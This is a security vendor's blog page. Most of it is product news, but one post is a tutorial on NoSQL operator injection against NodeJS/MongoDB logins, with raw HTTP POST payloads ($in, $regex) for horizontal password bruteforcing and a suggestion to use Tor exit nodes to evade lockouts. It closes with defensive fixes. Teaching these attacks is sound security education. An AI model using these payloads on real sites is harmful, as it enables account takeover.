Websecurify

Regular updates about Websecurify free and premium website scanners, proxies, fuzzers and insight knowledge about SQL Injection, Cross-site Scripting and other vulnerabilities

Formfuzz - Now Part Of The Classic Pack

This is a quick update to let you know that Formfuzz is now part of the Classic Pack. All Classic Pack customers are now getting Formfuzz at no extra cost. This is our way of saying "Thank You" for you continuous support.

websecurify mobile

Now the Classic Pack is complete! Not only you get all the scanners and auxiliary tools, but also a complete set of fuzzers to test JSON, XML/SOAP and HTML Forms. This is an incredible value and a powerful combination of tools to fit any situation.

Websecurify For iOS Is Now Free - For Real

Websecurify for iOS is now for free - for real. Last week we experienced a small problem related to the price information not being fully propagated across all stores. The good news is that this is now behind us. Thousands of people have already downloaded the app.

websecurify mobile

Don't forget to let us know if you have any feedback for us.

Websecurify For iOS Is Now Free

Starting from today you get Websecurify for iOS for free. Now you can test your web apps while on the go from your very own mobile.

Keep in mind that although this version is fully functional, it doesn't include the latest testing engine. You can still test for SQL Injection, Cross-site Scripting, Local File Includes and 60 other types of vulnerabilities. If you are looking for an up-to-date testing tools try out the apps from our web security tool market or our security tools exclusive to Mac OS X.

Landing Encoder

Most of you are already familiar with Websecurify Arena - the swiss army knife for doing almost anything you can think of with data. It is a powerful and versatile tool but you need to master a bit of programming. It is not point-and-click so-to-say. Never mind that because now we have a new commer that will make your life much easier when it comes to encoding and decoding data in various formats.

websecurify suite encoder

The Encoder is a very simple and intuitive tool, which you can use to convert data from one format into another. Moreover, you can chain different formats and encode or decode the data live, as you type. The following formats are currently supported:

  • Base64
  • URL encoding
  • HTML entity encoding
  • Pynicode
  • Hashing (md5, sha1, sha256)
  • Hexdump

Additional formats will be introduced soon. The plan is to add Inflate, Deflate, Gzip and Gunzip in the upcoming version.

Here are a few interesting ways you can make use of the Encoder.

Case Study 01 - Calculating Session Id Live

Imagine that we need to figure out the session Id for a user. We know how the hash is constructed but we want to experiment with the data in order to figure out the exact value. Here is a screenshot how we set the Encoder to achieve the desired result.

websecurify suite encoder

Case Study 02 - Decoding Binary Data

The application expects a value in base64 format. We want to decode the value and print it in hexdump format in order to analyze the individual bytes. This is how this particular setup will look in the Encoder.

websecurify suite encoder

Case Study 03 - Sharing Encoder Flow

Imagine that we are working with the Encoder and we think we finally got the chain of conversions we need in order to achieve the desired effect. Now we need to tell the world how we did it. We can use the Encoder sharing function as illustrated in the screenshot bellow.

websecurify suite encoder

In Conclusion

As you can see, the Encoder is very versatile and easy to use. Moreover, it is 100% free. It is available online but it works in offline mode too. You don't have to be connected to use the tool - like all other Suite tools.

The Encoder can be used during your penetration tests, development workflows and wherever you find fit for it. You can easily share encoder configurations on your wiki or emails between team members. It is a tool designed to be shared.

As usual, we will be delighted to get your feedback. Also, do not hesitate to get in touch if you find bugs or if you wish to make us certain improvements that you will make the tool a better fit for your needs.

Attacking NodeJS and MongoDB - Part To

In the last post I showed a simple, yet effective hacking technique, that can be used against applications, written on top of NodeJS and MongoDB. This technique works because developers may not validate the type of the input provided by the user. By using this hacking technique we can bypass login prompts, elevate privileges, query excessively the database and other SQLI-like (SQL Injection) attacks.

nodejs and mongodb hacking part 2

In this post I will show you how we can take this technique further in order to create a very effective password guessing/bruteforcing attack against NodeJS and MongoDB. I have also created a playground project for you try it out.

Introduction To Login Prompt Hacking

Attacking the login system is relatively straightforward process. Given that we know the username, we can try a dictionary of common passwords in order to find a word that matches the account details under attack. Because these attacks are so common and easy to do, there are two primary defense mechanisms available at our disposal. These are account lock out and captchas.

Account lock out works by placing a locking flag on the account after several consecutive failed login attempts. Once the lock is in place, either the user needs to talk to an administrator or unlock the account by providing additional information. It is also possible that the account may get locked out for certain amount of time, like between 5 to 10 minutes, to make the hacker give up due to the fact that the attack will take too long under these circumstances.

Captchas, on the other hand, prevent automated attacks. If the application detects that it is under attack it may start asking the user to solve a little puzzle that we know computers are not very good at due to not having cognitive powers like we do, yet. Most of the time captchas are in the form of an images containing letters and numbers, which you need to type-back to ensure you are not a robot.

Both of these defense mechanisms are easily defeatable under the right circumstances. My favorite method is to convert the attack from the vertical kind (i.e try one user with many passwords) to the horizontal kind (i.e. try many users with the same passwords). It is hard to protect against this type of attack especially if it happens from multiple points of origin, like when you are using Tor exit nodes.

Here, I have attached the slides from our Web Application Security 101 training course if you are interested in authentication security.

Attacking NodeJS and MongoDB Login Prompts

This was quite a bit of introduction but it does set the stage for the next act. So, before we move on here is a snippet of code, which demonstrates how you would do authentication with NodeJS and MongoDB:

app.post('/', function(req, res) {
    User.findOne({user: req.body.user}, function (err, user) {
        if (err) {
            return res.render('index', {message: err.message});
        }

        // ---

        if (!user) {
            return res.render('index', {message: 'Sorry!'});
        }

        // ---

        if (user.hash != sha1(req.body.pass)) {
            return res.render('index', {message: 'Sorry!'});
        }

        // ---

        return res.render('index', {message: 'Welcome back ' + user.name + '!!!'});
    });
});

This is pretty much by-the-book example how to authenticate users. First, we take the user to find a record in the database. After that we calculate the password hash and compare it to the hash that we have in store. Now if we apply the same technique that we used last time, you will find out that it doesn't work.

POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user[$gt]=&pass[$gt]=

It doesn't work because only the user field is used for the query. The pass is compared manually after the account is identified. On the top of that, the password is a hash, which means that we cannot really pass objects because the application will throw and error.

I suspect you are already guessing where I am going with this. The user field is still injectable and it can be used to manipulate the query. One thing that we can do is to use a single common password and try it on many accounts, i.e. create a horizontal bruteforce as I explained earlier. Great idea. This is how it is going to look like in practice:

POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user[$in][]=admin&user[$in][]=user&pass=abc123

By using this request we essentially run a query that looks like this: {user: {"$in": ["admin", "user"]}}. This special urlencoding format is handled by the qs module, which is the default in the ExpressJS web framework and body-parser middleware - both very popular and pretty much standard when developing NodeJS applications. By tacking advantage of this feature, we can bruteforce the username with a single request and test the password all at the same time. However, if both admin and user exist only admin will be tested for the password abc123. If only the developer had been using .find instead of .findOne the situation would have been very different.

Improving The NodeJS/MongoDB Login Hack

Hope is not lost yet. We can still use this situation to our advantage. For example, what if we don't know the username at all and we do not want to bruteforce it either - at least not completely? We will maximize our login attack to make it very, very effective. For this we are going to use the $regex MongoDB query operator. The query that we want to execute will look like this: {"pass": {"$regex": "a"}}. As an HTTP request, the attack will look like this:

POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user[$regex]=a&pass=abc123

This request will instruct the application to find the first user that has the letter a and test it against the password abc123. Surely this will turn quite a few accounts and only the first one will be tested. However, if we continue using this query but with combinations of 2-3 letter words, we will quickly exceed the account pool. For example we can try running the following sequence of requests:

POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user[$regex]=ab&pass=abc123
POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user[$regex]=ba&pass=abc123
POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user[$regex]=cd&pass=abc123
POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user[$regex]=dc&pass=abc123

We can even use Regular Expressions to maximize the search. For example:

POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user[$regex]=ab.c&pass=abc123
POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user[$regex]=ba.c&pass=abc123
POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user[$regex]=cd.e&pass=abc123
POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user[$regex]=dc.e&pass=abc123

Keep in mind that these are only examples to illustrate the idea. The bottom line is that by using this technique we can cover a lot of area with just a few requests without the need to do any account discovery beforehand. Suddenly, this attack becomes very feasible.

A Look At Our Defenses

Now we know how easy it is to compromise any NodeJS and MongoDB application that is not carefully written. The question is how to protect against this type of attack and I have a few good suggestions.

First, getting rid of the qs module is a good idea unless you really need it. The chances are that you don't. Have a look at query.js part of ExpressJS for more information how this module is used. A simple patch during build time via Grunt will do the job. You can also use your own middleware to flatten out any nested object structures in the query or the body. We will publish a helper middleware for this soon.

Second, using hashes instead of passwords is a good thing but using per-account hash salts is better. When the account is first created, just generate a random string and save it as the the salt. Use the salt with the hashing function. This way you are not only preventing this attack but also rainbow table attacks.

Third, always validate the user input. JavaScript is dynamically typed so you need to do a bit of extra work before working with any data supplied by the user. CoffeeScript makes this process slightly easier on the eye but you can make your own clever middleware to handle this automatically. Make sure that it is not too clever for its own sake.

It Is Finally Over

I hope this enjoyed this post. It is Friday after all and we all deserve a bit of fun and rest. I will put up more articles about this subject soon. If you have any ideas or comments just use the discussion thread, HackerNews, NetSec or wherever else this post ends up. We are monitoring all of them so we will get into the discussion.

Websecurify Suite vs. Cohesion

This is the answer of a question that we receive quite frequently.

cover photo

Here is a scenario. Let's say that we are working on a project called acme-chat - the next generation web chat software that will change the world. Because this is an important product every time we make a change we want to make sure that it is thoroughly tested. This is why we can ask the developers to produce unit and integration tests. The idea is that before we push the "deploy" button, these tests will run and ensure that the application works before it gets into the hands of our users. Millions of people will be angry if it doesn't.

Now imagine that our software is really important and we want to deliver new features quick. We do not want to wait until the end to run the test suites. What we want to do is to test the product every single time it changes. For example, if Fred, who is working on the emoticon feature, introduces a change we want to make sure that the whole product is tested again. The reason we want to do that is because even tiny change can have a massive impact on the rest of software. Also, providing the developer with early feedback about broken or incompatible features is generally a good thing.

This is called continuous deliver/integration. In other words, we have a defined pipeline that gets a product from the development stage to production. This pipeline is perhaps executed hundreds of times per days as developers are pushing new code.

Now, our pipeline will look like this:

Continuous Delivery/Integration Pipeline
========================================

0. Developer Commits Code
1. Server Builds Code
2. Server Runs Unit Tests
3. Server Runs Quality Assurance Tests
4. Code is Deployed in Staging
5. Server Runs Integration Tests
6. Code is Deployed in Production
7. Users Get New Features

As soon as the developer makes a change this whole process kicks in. That is good but what about security?

Today, security is pretty much artifact that is delivered just at the last stages of the development lifecycle. That is not very cost-effective and it will delay our product from getting it quick to the hands of the customer. It will be very nice if we run some security tests as part of the pipeline to ensure that we are at least covered on some level.

This is Cohesion. If we take the above pipeline and extend it with Cohesion it will look like this:

Enhanced Continuous Delivery/Integration Pipeline
=================================================

0. Developer Commit Code
1. Server Builds Code
2. Server Runs Unit Tests
3. Server Runs Quality Assurance Tests
4. Runs Security Tests (Cohesion)
5. Code is Deployed in Staging
6. Server Runs Integration Tests
7. Runs Security Tests (Cohesion)
8. Code is Deployed in Production
9. Users Get New Features

Do you see the difference? We have integrated security as part of the delivery process. Because these tests are executed hundreds of times per day we get some early feedback about the state of the product. If Fred makes a mistake by introducing a Cross-site Scripting vulnerability, we will be able to catch it very early in the build cycle. In other words this vulnerability will never reach our users.

This is a very good software development lifecycle. Unfortunately, not many organisations can do it properly. Even big companies find this task very challenging especially with very complex software. However, even if you are not prepared to deliver software like the method above, we can do something about security.

If for example we give our developers access to professional security tools we can rely that they will use the tools every once in a while to make sure that their code is of a good quality. This is where the Suite comes at play. This single solution can provide all developers access to professional security tools at their disposal. You do not have to install anything and you will be good to go as soon as the solution is purchased.

As you can see the difference is big. A very mature company is likely to have both solutions at their disposal.